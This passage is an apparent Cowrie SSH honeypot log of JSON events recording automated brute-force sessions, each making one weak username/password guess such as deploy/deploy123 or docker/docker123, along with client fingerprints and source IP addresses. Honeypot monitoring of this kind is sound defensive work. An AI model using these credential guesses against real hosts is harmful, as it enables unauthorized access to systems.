rt-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:57.578141Z","src_ip":"192.109.200.78","session":"32a5a05d741a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:57.829324Z","src_ip":"192.109.200.78","session":"32a5a05d741a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:39:59.018648Z","src_ip":"192.109.200.78","session":"32a5a05d741a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36656,"dst_ip":"10.17.0.5","dst_port":22,"session":"50c811f2e207","protocol":"ssh","message":"New connection: 192.109.200.78:36656 (10.17.0.5:22) [session: 50c811f2e207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:00.841813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:00.846285Z","src_ip":"192.109.200.78","session":"50c811f2e207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:01.106282Z","src_ip":"192.109.200.78","session":"50c811f2e207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"root","message":"login attempt [gitlab/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:01.413036Z","src_ip":"192.109.200.78","session":"50c811f2e207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:02.502311Z","src_ip":"192.109.200.78","session":"50c811f2e207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46532,"dst_ip":"10.17.0.5","dst_port":22,"session":"afce492442db","protocol":"ssh","message":"New connection: 192.109.200.78:46532 (10.17.0.5:22) [session: afce492442db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:04.514533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:04.519265Z","src_ip":"192.109.200.78","session":"afce492442db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:04.601167Z","src_ip":"192.109.200.78","session":"afce492442db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:04.848194Z","src_ip":"192.109.200.78","session":"afce492442db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:05.932114Z","src_ip":"192.109.200.78","session":"afce492442db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46548,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae42ed0306e3","protocol":"ssh","message":"New connection: 192.109.200.78:46548 (10.17.0.5:22) [session: ae42ed0306e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:07.924733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:07.929343Z","src_ip":"192.109.200.78","session":"ae42ed0306e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:08.011924Z","src_ip":"192.109.200.78","session":"ae42ed0306e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:08.265624Z","src_ip":"192.109.200.78","session":"ae42ed0306e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:09.356242Z","src_ip":"192.109.200.78","session":"ae42ed0306e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":38034,"dst_ip":"159.203.135.109","dst_port":22,"session":"de55b4611c67","protocol":"ssh","message":"New connection: 103.122.221.179:38034 (159.203.135.109:22) [session: de55b4611c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:09.614127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:09.622361Z","src_ip":"103.122.221.179","session":"de55b4611c67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:09.887064Z","src_ip":"103.122.221.179","session":"de55b4611c67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28021993","message":"login attempt [root/28021993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:10.682724Z","src_ip":"103.122.221.179","session":"de55b4611c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46554,"dst_ip":"10.17.0.5","dst_port":22,"session":"20d227ca919c","protocol":"ssh","message":"New connection: 192.109.200.78:46554 (10.17.0.5:22) [session: 20d227ca919c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:11.374832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:11.501276Z","src_ip":"192.109.200.78","session":"20d227ca919c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:11.505267Z","src_ip":"192.109.200.78","session":"20d227ca919c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:11.838799Z","src_ip":"192.109.200.78","session":"20d227ca919c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:11.949315Z","src_ip":"103.122.221.179","session":"de55b4611c67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:12.933857Z","src_ip":"192.109.200.78","session":"20d227ca919c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39138,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c186a501053","protocol":"ssh","message":"New connection: 192.109.200.78:39138 (10.17.0.5:22) [session: 5c186a501053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:14.997597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:15.002372Z","src_ip":"192.109.200.78","session":"5c186a501053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:15.085660Z","src_ip":"192.109.200.78","session":"5c186a501053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123","message":"login attempt [rdpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:15.355624Z","src_ip":"192.109.200.78","session":"5c186a501053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:16.440006Z","src_ip":"192.109.200.78","session":"5c186a501053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39146,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef63bf8554cd","protocol":"ssh","message":"New connection: 192.109.200.78:39146 (10.17.0.5:22) [session: ef63bf8554cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:18.415668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:18.422289Z","src_ip":"192.109.200.78","session":"ef63bf8554cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:18.510317Z","src_ip":"192.109.200.78","session":"ef63bf8554cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:18.757072Z","src_ip":"192.109.200.78","session":"ef63bf8554cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:19.844296Z","src_ip":"192.109.200.78","session":"ef63bf8554cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53362,"dst_ip":"10.17.0.5","dst_port":22,"session":"c729a73da658","protocol":"ssh","message":"New connection: 192.109.200.78:53362 (10.17.0.5:22) [session: c729a73da658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:21.930373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:21.935166Z","src_ip":"192.109.200.78","session":"c729a73da658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:22.017385Z","src_ip":"192.109.200.78","session":"c729a73da658","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:22.263084Z","src_ip":"192.109.200.78","session":"c729a73da658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:23.347061Z","src_ip":"192.109.200.78","session":"c729a73da658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":59774,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ae36e649837","protocol":"ssh","message":"New connection: 87.251.79.125:59774 (159.203.135.109:22) [session: 5ae36e649837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:25.043682Z"}
